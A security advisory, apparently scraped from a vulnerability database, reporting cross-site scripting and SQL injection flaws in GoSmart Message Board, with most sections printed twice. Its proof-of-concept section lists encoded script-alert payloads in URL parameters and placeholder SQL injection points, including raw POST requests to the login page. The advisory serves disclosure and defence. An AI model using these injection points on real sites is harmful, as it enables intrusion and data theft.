Go Smart Inc GoSmart Message Board Multiple Input Validation Vulnerabilities
BID:11361
Info
Go Smart Inc GoSmart Message Board Multiple Input Validation Vulnerabilities
| Bugtraq ID: | 11361 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Oct 11 2004 12:00AM |
| Updated: | Oct 11 2004 12:00AM |
| Credit: | Discovery is credited to Positive Technologies. |
| Vulnerable: |
Go Smart Inc GoSmart Message Board |
| Not Vulnerable: | |
Discussion
Go Smart Inc GoSmart Message Board Multiple Input Validation Vulnerabilities
GoSmart Message Board is reported prone to multiple input validation vulnerabilities. These issues may allow a remote attacker to carry out cross-site scripting and SQL injection attacks. The cause of these issue is insufficient sanitization of user-supplied data.
GoSmart Message Board is reported prone to multiple input validation vulnerabilities. These issues may allow a remote attacker to carry out cross-site scripting and SQL injection attacks. The cause of these issue is insufficient sanitization of user-supplied data.
Exploit / POC
Go Smart Inc GoSmart Message Board Multiple Input Validation Vulnerabilities
An exploit is not required to leverage these issues.
The following proof of concept examples are available:
Cross-site scripting:
/messageboard/Forum.asp?QuestionNumber=1&Find=1&Category=%22%3E%3Cscript
%3Ealert%28%29%3C%2Fscript%3E%3C%22
/messageboard/ReplyToQuestion.asp?MainMessageID=%22%3E%3Cscript%3Ealert%
28%29%3C%2Fscript%3E%3C%22
SQL injection:
messageboard/Forum.asp?QuestionNumber=[SQL CODE HERE]&Find=1&Category=1
messageboard/Forum.asp?Username=&Category=[SQL CODE HERE]
messageboard/Forum.asp?QuestionNumber=[SQL CODE HERE]&Find=1
messageboard/Forum.asp?Category=[SQL CODE HERE]
POST /messageboard/Login_Exec.asp HTTP/1.1
Host: www.example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
Username=[SQL CODE HERE]&Password=1&Login=1
POST /messageboard/Login_Exec.asp HTTP/1.1
Host: www.example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
Username=1&Password=[SQL CODE HERE]&Login=1
An exploit is not required to leverage these issues.
The following proof of concept examples are available:
Cross-site scripting:
/messageboard/Forum.asp?QuestionNumber=1&Find=1&Category=%22%3E%3Cscript
%3Ealert%28%29%3C%2Fscript%3E%3C%22
/messageboard/ReplyToQuestion.asp?MainMessageID=%22%3E%3Cscript%3Ealert%
28%29%3C%2Fscript%3E%3C%22
SQL injection:
messageboard/Forum.asp?QuestionNumber=[SQL CODE HERE]&Find=1&Category=1
messageboard/Forum.asp?Username=&Category=[SQL CODE HERE]
messageboard/Forum.asp?QuestionNumber=[SQL CODE HERE]&Find=1
messageboard/Forum.asp?Category=[SQL CODE HERE]
POST /messageboard/Login_Exec.asp HTTP/1.1
Host: www.example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
Username=[SQL CODE HERE]&Password=1&Login=1
POST /messageboard/Login_Exec.asp HTTP/1.1
Host: www.example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
Username=1&Password=[SQL CODE HERE]&Login=1
Solution / Fix
Go Smart Inc GoSmart Message Board Multiple Input Validation Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
Go Smart Inc GoSmart Message Board Multiple Input Validation Vulnerabilities
References:
References:
- GoSmart Message Board Product Page (Go Smart Inc)
- [MAxpatrol Security Advisory] Multiple vulnerabilities in GoSmart Message Board ("Alexander Antipov"